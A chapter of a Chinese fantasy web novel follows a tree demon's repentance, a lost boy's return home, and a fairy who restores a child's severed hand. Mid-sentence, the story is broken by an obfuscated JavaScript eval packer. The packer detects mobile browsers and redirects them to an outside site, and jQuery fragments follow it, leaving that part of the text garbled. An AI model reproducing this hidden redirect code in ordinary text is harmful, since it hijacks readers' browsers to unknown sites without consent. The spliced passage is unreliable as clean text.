“出来。”


    那树妖跟着人下山，躲在暗处。


    “还不快现身！”


    白棘稍显，变出长发遮脸给她磕头：“半仙，哦不，仙子，之前没能帮上你，小妖多忏悔。”


    “你当为自己的失职惭愧，我且问你，你掌管此处，村里孩童失足，何不阻拦，为何不救？”


    “不可能时时刻刻在此盯梢的，仙子，何况我本区区小妖，又能奈何得了谁？”


    “打搅村民屡屡使绊，总是你所为，你不该如此。”


    她这次有认真解释，她说不忍见乡民毁林，她说：“他们信你，望仙子替妖女禀明，此皆我之姐妹，我于心不忍，不能不管，以往大家呵护梅林，仰仗梅林，都是很久远的事了，为何不能同往日一般？妖女并非不愿同大家好生相处。”


    事已至此，也便如此了。


    众人下了梅山，师姐师兄先行一步，他们要先到车家。四师姐道他们在外耽搁不少，差不多也可以回师门，正待同那树妖说话，玉树插嘴道：“等等师姐，我的剑好像有问题，这两把不一样重啊？”


    四师姐掂了掂，没问题。


    玉梳指着那赤云剑道：“那我怎么总觉此剑压人，总也飞不起。”


    师姐皱眉道：“怎会？”


    “给我。”她试着施法，烟云腾起，剑未动分毫；姑且再试一次，剑身颤动，不曾离地。这时倒起了点疙瘩，众人也跟着捏把汗，只好在最后一次赤云剑旋飞起来。


    “玉师妹，你回去还得多加练习。”


    “哦。”玉梳讪讪接过。


    “丽华那孩子也是，”师姐吁气道，“还未回来。”


    早先，丽华想回去寻茅家那胖女孩儿，他哥说的话未必是真，她要说的话未必有假。但看着康人伟的背影，不能不惹人深思，这小子与昨晚打自个脸的人颇有七八分像，不说一万就说万一，万一是他呢，跟着他又能浪费多长时间？她把它称作一种赌徒行为，“不行，我就收手。”


    却说这人，先是拐去集井村，到赖公庙拜过赖公，路边碰见一樵夫问路，赏其一钱，又问起阿赖是怎样被村民收拾的。


    樵夫放下柴火，挥手道：“还能怎么样，烧呗，吓唬人的。那小子总要回家，把他家砸个一通，烧个一通，放几句狠话，他自然急咯，半夜躲到井里，不敢出来，让那小子跑咯。”


    “是以……无论犯过多大的错误，只要这个人诚心悔改，就一定能得到他人的原谅，是吗？”


    樵夫拿汗巾擦汗，“话不能这么说！”


    “我这还有一文。”


    樵夫收下，“啊耶，客气咯，只要不杀人放火，能有多大事？”


    “这枚钱是你该得的。”他复打算再给人家一枚钱。


    只他说，“这人诚心悔改了，还怕弥补不了？”康人伟又默默收了回去。


    又辗转来到县城，进那赌坊，小门店儿，丽华没有进去，只见他出来时神清气爽，看上去来了手气儿，赢了些钱的样子，不免又是吃吃喝喝，走走停停，径直往州府而去。上了船，卸下那一点行李，当真是潇洒。


    “好家伙，跟着你小子可真够有时间浪费的。”丽华无奈地摇了摇头。


    车贤回到家，其母见他面黄肌瘦，帽子不见了，身上脏脏的，青一块白一块的脸，冰冰凉凉，抱住他不住呜咽。


    车大哥都认不出孩子了，拉住妻子说让他看看，说不是他儿子。


    车贤过来推他，目不转晴道：“你才不是我爹！”


    做丈夫的就说，“我这孩子有眨眼病，以前治过，不管好，你看——”


    原来是月倩治好了。


    村里知道车贤回来，都来看望，携着些吃食，大包小包的，跟他一起玩的八个小孩家长更是如此，家里孩子也要跟着过来，打打闹闹的，比之往日，更加亲密。


    其间，那车万二媳妇知道了，抱着她儿子悄悄过来，看过一圈，那陌生点儿的定是仙子。


    大伙正在车家吃饭，她娘俩来吓了人一跳，叫添两双筷子，她不吃，跪下来求月倩，说她是神仙，神通广大，她儿子的手一定能治好，“我们的救星，我的孩子有救了，你一定要救救我们，仙子！”


    月倩是有些为难的，她并非医师，并不精通。她转向那小孩儿，问事情的经过。


    做母亲的知无不言言无不尽，从梅山一直讲到回家的路，短短几句话，讲了又讲，在座的也都清楚，倒是把个胡静知闹得羞愧地低下头去，那树妖也是。


    月倩说：“那他的手现在何处？”


    她马上回答：“埋在家里的院子里。”


    “这……恐怕恕我无能为力，想来与泥土混合……”


    “没有没有，我们用盒子装着，好好保存起来！”


    月倩想了想，问能不能拿来一看，“此事不可张扬。”


    “行——”她不住点头，把孩子留下，急冲冲跑回家，跑到院子树下挖土，丈夫问他天黑了，发什么疯，她挥开他，“让开，我要救我的孩子。”


    她取出那人参长盒，小心翼翼地抱在腰侧，别人问她，她都不语，丈夫就跟在后面。


    来到车大哥家，要去洗手，擦干净给她看，先叫人把小孩拉走。


    月倩是看了，颜色有点坏，但确实保存完好。


    那女的眼睛通红，不敢落泪，只求她一定要想想办法。


    半晌，月倩说她要回去一趟，让她在此处稍坐，“我去去就回。”那女的不住给她磕头。


    车家这一大家子，饭菜拾掇了，碗筷收拾干净，家里丢了东西，老爷子又在骂，小婴儿哭哭闹闹，喂了奶睡下了。车贤吃坏肚子，家人给他煨汤喝，小女孩也喝了一碗。


    等了有一个时辰，仙子姗姗来迟，小孩服过仙丹，手臂敷上草药，父亲把他的眼睛捂着，他好像做了一个梦，一觉醒来他的手又回来了，母亲满含泪花的看着他。


    “……不要碰凉水，你小孩的手还要养一段时间，不要提重物，最近一个月都不要，万事小心。”母亲一一记下。


    小孩说冷，父亲把外袄脱下来给他穿，叫他谢谢仙姑姐姐。


    “谢谢……谢谢仙姑。”


    众人无不露出一点真心的笑意。


    这会子两家是皆大欢喜，屋里点着灯，商量着明个要摆酒席，师姐、仙子说是不妥，实在破费，车家说他们两家合办，搞得热闹一点，就是想高兴高兴，叫她们早些回去休息，不用操心，明天记得来，他们自是要好好感谢大家。


    这又是一路送出门，一里开外。


    代可莘欣欣然打着纸扎的灯笼走在前头，想着马


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251526|166406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上就可以回去了，快乐不能自已。


    嘴里哼着小曲，一转眼，怎么只有她一人了，四周是漆黑一片，寒风料峭的。


    回头去寻，竟不知方向，哪哪都一样，地上都看不清路径，她跑着寻找出路，路过某处，不慎跌倒，手一阵刺痛，眼前好几束萤火飞过，一低头在她手中，好像有小动物在舔舐她的手，她吓得大叫，连连甩手。


    听见动静，马雯雯过来，扶她起来，“你怎么还趴在地上！”


    “雯雯姐，我好像碰到鬼了……”


    “鬼鬼鬼，哪有鬼！快回去收拾东西！”马雯雯四下里一望，没发现什么。


    “现在就回去？”


    “跟你这里扯王八！”


    月倩拉住玉梳说：“我要走了，你多保重。”


    “现在就走吗？”


    “嗯。”


    “明天再走吧。”


    月倩摇摇头。


    “真的要走吗？”


    他们回过头来看二人，没有打扰的意思，树妖则是一直跟在月倩后面。


    “好吧，你还要去找他吗？”


    她只是说，“我走了。”


    玉梳叫她，“别去找他了，就算没有除辛，还有程辛简辛贾辛，你说你的心满了，我看还是不够满。”


    “今天谢谢大家，后会有期。”


    她一径走了，白棘一发跟着。


    出了果甫乡，月倩现出人形，“你不在梅山待着，跟我作甚？”


    今天仙子跟乡亲们说她是个好妖，没有人跟她说过这样的话，她很感动，这一去怕是没有机会，心里还有几句体己话要说，她跪下来道：“我们妖族修炼不易，行事贪玩，以前多有得罪，感念仙子点拨。——今后我会继续守护好这片生灵的。里面有我的一些兄弟姐妹，即将修炼成精的，我一定会好好教育他们做一个好妖。”


    月倩颔首，白棘继而道：“仙子他日位列仙班，还望在百花仙子百果仙子面前替我美言几句，小妖愿持斋念佛，做一世信徒。”


    “你是个会得寸进尺的。”


    “仙子是去找仙君吧，要是我，也不会放手，人家不让我好看，我也不会让她好看的……”


    “行了，我不愿再去纠缠纠结什么东西，只是看一眼。你的话有机会我会带到。”


    很多很多年以后，这白棘才修明白，一夜白头，得成金仙。


    次日早间，他们商量好早些回去，四师姐留下来等卞丽华，嘱托胡静知挈领大家早些归山，莫要逗留。


    亏得那妖女提醒，昨日里交代了要是有那大妖一伙的新动向记得通知他们。她等大伙走了又想来昨日有话没对她说，正是此事，她自己上心，无妨。


    “趁此机遇，我们不如回去赖公庙逛逛。”眼见着离果甫乡越来越远，玉梳道。


    “是啊是啊！”怡娜御剑上前附和。


    “不妥。”胡静知认为师姐不在不可如此，“师姐说了，要我们早些归山。”


    “去嘛去嘛……”


    耐不何大家极力劝说，真是一应去了集井村，路是何芸芸带的，这才是个会认路的主。只可惜赖公庙塌了一方，正在修缮，她们远远望见了，倒是放弃了。


    她们走后，没人来叫四师姐，昨夜里死了人，忙着吊唁，处理后事，搁下了。